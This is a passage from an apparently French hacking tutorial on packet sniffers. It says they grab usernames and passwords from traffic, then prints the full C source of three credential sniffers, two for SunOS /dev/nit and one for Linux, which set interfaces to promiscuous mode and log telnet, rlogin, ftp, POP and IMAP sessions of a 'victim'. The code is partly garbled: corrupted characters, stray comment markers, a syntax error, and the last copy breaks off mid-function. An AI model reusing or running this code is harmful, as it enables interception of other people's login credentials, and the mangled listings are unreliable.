III/ Les sniffers
Qu'est-ce qu'est un sniffer: un sniffer est un outil qui
permet de choper un packet qui circule sur un réseau. Chaque sniffer
s'occupe d'un protocole, ou bien un sniffer de plusieurs protocoles prédéfinis.
Le sniffer enregistre une copie de chaque packet qui sort ou entre sur
le disque dur auquel il doit rendre des comptes. Mais comme ces packets
peuvent constituer de grosses trames, il serait stupide de remplir son
disque inutilement. Alors les sniffer vont faire un choix sélectif
parmis tous ces packets. En effet: un réseau transmet en moyenne
quelques milliers de packets par heure. Voyez le résultat pour une
journée. Alors en plus de la sélection un sniffer ne va capturer
qu'une petite partie de la trame: les premieres centaines d'octets (300
ou 400 en général); Pas plus car c'est dans ces octets que
se trouvent l'identifiant et le password d'un utilisateur. Ainsi un packet
sortant de la machine X, qui est intercepté par le hacker Y, permet
au hacker Y d'avoir accès à la machine X. D'autres sniffers
permettent à un administrateur réseau de découvrir
les points faibles de son réseau et s'il s'y trouve des problèmes.
Les sniffers fonctionnent sous Linux/UNIX ou parfois sous
Windows et sont, soit en vente (réservé aux professionels),
soit téléchargeable à partir de sites spécialisés.
Ci-dessous une petite liste de quelques sniffers vendus en commerce:
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096
/* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP
((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH
(sizeof(struct ether_header))
#define IPLEN
(ntohs(ip->ip_len))
#define IPHLEN
(ip->ip_hl)
#define TCPOFF
(tcph->th_off)
#define IPS
(ip->ip_src)
#define IPD
(ip->ip_dst)
#define TCPS
(tcph->th_sport)
#define TCPD
(tcph->th_dport)
#define IPeq(s,t) ((s).s_addr
== (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time;
/* start time */
struct in_addr SRCip,
DSTip;
u_int
SRCport, /*
src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2];
/* important stuff :-) */
u_int
Length;
/* current data length */
u_int
PKcnt;
/* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char
*)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip))
);
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs &
THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER:
p="rlogin"; break;
case IPPORT_TELNET:
p="telnet"; break;
case IPPORT_SMTP:
p="smtp"; break;
default: sprintf(buf,"%u",port);
p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n"
*/
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN)
{ \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr;
\
CLtmp->DSTip.s_addr = DIP.s_addr;
\
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN);
\
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data,
CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP)
&& (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN);
\
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) {
\
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32)
{ \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG
-- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>",
Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts,
%d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char
*p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct
CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT);
tm-=IDLE_TIMEOUT; \
while(CLe=CLt) {
\
CLt=CLe->Next;
\
if(CLe->Time
<tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip
*ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short
*)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP)
/* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment
:-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen
- SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk
non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD
== IPPORT_LOGINSERVER) ||
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN
- (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char
*)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST))
{
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN))
{
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended
at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls
and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched
from etherfind */
{
struct strioctl si;
struct ifreq
ifr;
struct timeval timeout;
u_int chunksize
= CHUNKSIZE;
u_long if_flags
= NI_PROMISC;
if((if_fd = open(NIT_DEV,
O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT,
(char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH,
"nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char
*)&timeout;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char
*)&chunksize;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device,
sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name)
- 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char
*)𝔦
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char
*)&if_flags;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH,
(char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd,
buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your proogie,generate
your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP?
",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int
s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) &&
(argv[ac][0] == '-')) {
register
char ch = argv[ac++][1];
switch(toupper(ch))
{
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical
device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to
%s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug)
{
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started
at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long
saddr;
unsigned long
daddr;
unsigned short
sport;
unsigned short
dport;
int
bytes_read;
char
active;
time_t
start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
#define CAPTLEN 512
#define TIMEOUT 30
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET,
htons(0x800));
if(fd < 0)
{
perror("cant
get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant
get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set
promiscuous mode");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s,
(struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return
0;
if(victim.active != 0)
if(victim.bytes_read
> CAPTLEN)
{
printf("\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL)
> (victim.start_time + TIMEOUT))
{
printf("\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21)
p=1; /* ftp */
if(ntohs(tcp->dest)==23)
p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1;
/* pop3 */
if(ntohs(tcp->dest)==109) p=1;
/* pop2 */
if(ntohs(tcp->dest)==143) p=1;
/* imap2 */
if(ntohs(tcp->dest)==513) p=1;
/* rlogin */
if(ntohs(tcp->dest)==106) p=1;
/* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport)
return 0;
if(tcp->source != victim.sport)
return 0;
if(ip->saddr != victim.saddr)
return 0;
if(ip->daddr != victim.daddr)
return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
printf("\n-----
[RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
printf("\n-----
[FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
puts(" ");
printf("%s => ", hostlookup(ip->saddr));
printf("%s [%d]\n", hostlookup(ip->daddr),
ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i]
== 13) {puts(" ");t=0;}
if(isprint(data[i]))
{printf("%c", data[i]);t++;}
if(t > 75)
{t=0;puts(" ");}
}
}
main()
{
int s;
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned
long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned
long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active
!= 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;
i.s_addr=in;
he=gethostbyaddr((char *)&i,
sizeof(struct in_addr),AF_INET);
if(he == NULL) strcpy(blah,
inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/le0"
#define CHUNKSIZE 4096
/* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP
((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH
(sizeof(struct ether_header))
#define IPLEN
(ntohs(ip->ip_len))
#define IPHLEN
(ip->ip_hl)
#define TCPOFF
(tcph->th_off)
#define IPS
(ip->ip_src)
#define IPD
(ip->ip_dst)
#define TCPS
(tcph->th_sport)
#define TCPD
(tcph->th_dport)
#define IPeq(s,t) ((s).s_addr
== (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time;
/* start time */
struct in_addr SRCip,
DSTip;
u_int
SRCport, /*
src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2];
/* important stuff :-) */
u_int
Length;
/* current data length */
u_int
PKcnt;
/* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char
*)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip))
);
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs &
THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER:
p="rlogin"; break;
case IPPORT_TELNET:
p="telnet"; break;
case IPPORT_SMTP:
p="smtp"; break;
case IPPORT_FTP:
p="ftp"; break;
default: sprintf(buf,"%u",port);
p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n"
*/
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN)
{ \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr;
\
CLtmp->DSTip.s_addr = DIP.s_addr;
\
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN);
\
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data,
CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP)
&& (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN);
\
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) {
\
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32)
{ \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG
-- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>",
Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts,
%d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char
*p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct
CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT);
tm-=IDLE_TIMEOUT; \
while(CLe=CLt) {
\
CLt=CLe->Next;
\
if(CLe->Time
<tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip
*ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short
*)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP)
/* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment
:-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen
- SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk
non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD
== IPPORT_LOGINSERVER) ||
(TCPD
== IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN
- (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char
*)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST))
{
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN))
{
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended
at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls
and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched
from etherfind */
{
struct strioctl si;
struct ifreq
ifr;
struct timeval timeout;
u_int chunksize
= CHUNKSIZE;
u_long if_flags
= NI_PROMISC;
if((if_fd = open(NIT_DEV,
O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT,
(char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH,
"nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char
*)&timeout;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char
*)&chunksize;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device,
sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name)
- 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char
*)𝔦
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char
*)&if_flags;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH,
(char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd,
buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Yo Authorize your proogie,generate
your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms"
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP?
",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int
s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) &&
